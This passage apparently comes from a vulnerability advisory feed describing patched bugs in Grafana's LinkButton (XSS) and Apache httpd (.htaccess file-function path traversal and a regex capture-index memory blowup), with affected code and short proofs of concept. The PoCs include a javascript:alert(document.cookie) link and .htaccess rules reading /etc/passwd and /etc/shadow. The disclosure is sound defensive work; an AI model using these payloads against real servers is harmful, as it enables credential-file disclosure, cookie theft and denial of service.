Render <LinkButton href="javascript:alert(document.cookie)">Click me</LinkButton> — before the patch, clicking the rendered anchor would execute alert(document.cookie) in the browser context. Any Grafana plugin or dashboard component that passes user-controlled or backend-sourced URLs to LinkButton is vulnerable to this XSS vector.

⚠️ MEDIUM VERIFIED Information Disclosure / Path Traversal via File Functions

Jun 5, 2026, 10:27 AM — apache/httpd

Commit: 0bc2ece957a4461978a5ff14f24182a3be05eed9

Author: Eric Covener

In .htaccess (per-directory) context, modules like mod_rewrite, mod_setenvif, and mod_proxy_fcgi allowed use of file-reading expression functions (file(), filesize(), filemod()) and file-test operators (-d, -e, -f, -s, -L, -h, -x) without restriction. An attacker who could place or modify an .htaccess file could use these functions to read arbitrary filesystem content (e.g., file('/etc/passwd')) or probe file existence/properties outside the web root. The patch centralizes the restriction by applying AP_EXPR_FLAG_RESTRICTED_FILE_FUNC in ap_expr_parse_cmd_mi() whenever the context is htaccess (cmd-&gt;pool == cmd-&gt;temp_pool), blocking these filesystem-exposing functions.

🔍 View Affected Code & PoC

Affected Code

/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
    flags |= AP_EXPR_FLAG_RESTRICTED;
}

Proof of Concept

Place the following in an .htaccess file in any directory the attacker controls on the server:

  RewriteEngine On
  RewriteCond "%{file:/etc/passwd}" "root"
  RewriteRule ^ /leaked [R=200,L]

Or in mod_setenvif context:
  SetEnvIfExpr "%{file:/etc/shadow}" =~ /root/ SHADOW_LEAKED=1

Before the patch, these expressions would be evaluated without restriction in .htaccess context, allowing the contents of arbitrary files to be read and used in conditional logic, effectively leaking filesystem contents via HTTP response behavior.

⚠️ MEDIUM VERIFIED Denial of Service / Excessive Memory Allocation

Jun 5, 2026, 10:17 AM — apache/httpd

Commit: 52cb79b19e110bdd42bffc696844f801fb3c4a2d

Author: Eric Covener

In `ap_regname`, the capture group index was read from the PCRE name table without bounds checking. A regex with a very large capture group number (up to 65535, as PCRE allows) would cause `apr_array_push` to be called in a tight loop up to 65535 times, allocating excessive memory. The patch adds a sanity check limiting capture group indices to 1024, returning -1 for unreasonably large values, and callers now propagate this as a configuration error.

🔍 View Affected Code & PoC

Affected Code

int capture = ((offset[0] << 8) + offset[1]);
while (names->nelts <= capture) {
    apr_array_push(names);
}

Proof of Concept

In an Apache httpd configuration file, use a <Directory> or <Location> block with a regex containing a large named capture group number. Because PCRE internally numbers named groups, a specially crafted regex (e.g., using (?P<name>...) nested deeply or via a compiled regex where the name table entry encodes a large index like 0xFF 0xFF) could encode capture=65535, causing the loop `while (names->nelts <= 65535) apr_array_push(names);` to allocate ~65535 array entries. Example: compile a regex externally where the nametable entry has bytes [0xFF, 0xFF, 'n', 'a', 'm', 'e', 0], then use it in a ProxyMatch/DirectoryMatch directive to trigger OOM during server startup/config parsing.